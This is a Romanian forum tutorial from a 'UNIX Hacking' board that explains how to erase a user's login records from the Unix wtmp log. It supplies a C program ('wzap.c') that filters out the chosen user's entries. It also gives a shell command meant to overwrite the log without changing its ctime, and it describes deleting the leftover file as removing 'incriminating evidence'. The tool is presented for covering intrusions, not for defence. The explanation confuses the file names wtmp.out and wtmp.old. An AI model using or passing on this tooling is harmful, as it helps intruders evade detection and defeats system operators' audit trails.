UNIX, Linux, Programare, Scripting, Retele
unix, linux, programare, script, hosting, server, retele
Lista Forumurilor Pe Tematici
UNIX, Linux, Programare, Scripting, Retele | Reguli | Inregistrare | Login

POZE UNIX, LINUX, PROGRAMARE, SCRIPTING, RETELE

Nu sunteti logat.
Nou pe simpatie:
irina_dragalasa 24 ani
Femeie
24 ani
Bucuresti
cauta Barbat
26 - 65 ani
UNIX, Linux, Programare, Scripting, Retele / UNIX Hacking / [Tutorial] Alterare log-uri  
Autor
Mesaj Pagini: 1
operabilus
B.O.F.H.

Din: Sillycon Valley
Inregistrat: acum 20 ani
Postari: 200
Odata ce v-ati logat pe un sistem UNIX (sau Linux, *BSD) in fisierul /var/log/wtmp se pune o inregistrare cu data si ora la care v-ati logat, si terminalul de pe care v-ati logat. Normal exista tendinta de a deschide fisierul cu un editor de texte normal (vi, pico) si sa editati (stergetI) liniile care corespund logarii. Problema e ca fisierul nu poate fi editat cu un editor simplu de texte asa ca multi care habar n-au despre ce e vorba il ignora.
Pun mai jos un program facut de Dave (cine naiba o mai fi si ala... ideea ii ca a facut o treaba buna).

Code:

/*  Dave's neato wtmp program
 *   *wzap.c
 *    *NOTE:  reads 'wtmp' from current directory and writes
 *     *'wtmp.out' in cuurent directory...
 *      */

#include<utmp.h>
#include<stdio.h>
#include<time.h>
#include<sys/time.h>

FILE *Wfile, *Wout;

struct utmp myutmp;

main(argc,argv)
        int argc;
        char *argv[];
{
        char username[20];
        char yesorno[5];
        long thetime, posi;

        if (argc<2) {
                printf("nn");
                printf("Enter username to zap from the wtmp: ");
                scanf("%s",username);
        } else strcpy(username,argv[1]);

        printf("nopening file...n");
        if ((Wfile = fopen("wtmp","r"))==NULL)
        { printf("no open filen"); exit(0); }
        printf("opening output file...n");
        if ((Wout = fopen("wtmp.out","wr"))==NULL)
        { printf("no open output file...n"); exit(0); }

        printf("working...n");
        while(!feof(Wfile)) {
                fread(&myutmp,sizeof(myutmp),1,Wfile);
                if (strncmp(myutmp.ut_name,username,8))
                        fwrite(&myutmp,sizeof(myutmp),1,Wout);
        }
        fclose(Wfile);
        fclose(Wout);
}

Programul se compileaza si se ruleaza in directorul /var/log sau oriunde e pastrat fisierlug wtmp. Fisierul alterat va fi denumit wtmp.out iar continutul va fi asemanator cu continutul fisierului wtmp mai putin liniile care corespund userului specificat la rulare.
Acum intrebarea se pune "Ce trebuie facut?". Puteti sterge fisierul wtmp si sa copiati wtmp.old in locul lui dar un admin cu experienta isi da seama ca valoarea ctime a fisierului a fost modificata. Mai bine executati urmatoarele comenzi:

Code:

cat wtmp.old > wtmp; rm -f wtmp.old

Prima comanda sterge continutul fisierului wtmp si pune in fisier continutul fisierului wtmp.old (adica fisierul modificat). A doua comanda sterge wtmp.old (probele incriminatorii).
Daca folositi aceasta comanda, valoarea ctime a fisierului wtmp va ramane aceeasi pentru ca, practic, nu ati sters fisierul. Ati modificat doar intreg continutul
Valoarea mtime a fisierului nu conteaza pentru ca nu o verifica nimeni... e normal sa se modifice la fiecare accesare pentru scriere a fisierului...

Bafta !

-- by operabilus --


_______________________________________
Portal SkullBox
SkullBox Forum
IP Finder and web browser details revealer


pus acum 19 ani
   
Pagini: 1  

Mergi la